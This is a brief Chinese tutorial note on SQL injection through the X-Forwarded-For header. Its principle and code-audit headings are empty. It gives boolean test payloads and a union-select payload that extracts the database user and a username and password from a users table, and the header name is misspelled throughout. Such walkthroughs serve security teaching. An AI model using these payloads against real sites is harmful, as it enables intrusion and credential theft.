13.xff注入攻击

原理

代码审计

 

黑盒测试下的xff注入攻击

 

在报文头部插入

X-Forwardcd-for:127.0.0.1'and 1=1#

插入

X-Forwardcd-for:127.0.0.1'and 1=2#

 

两次结果不一样，存在注入点

确认注入点

这里有四个注入点

进行联合查询

X-Forwardcd-for:-127.0.0.1'union select 1,2,user(),(select concat(username,password) from users limit 1)#

 

得到账号密码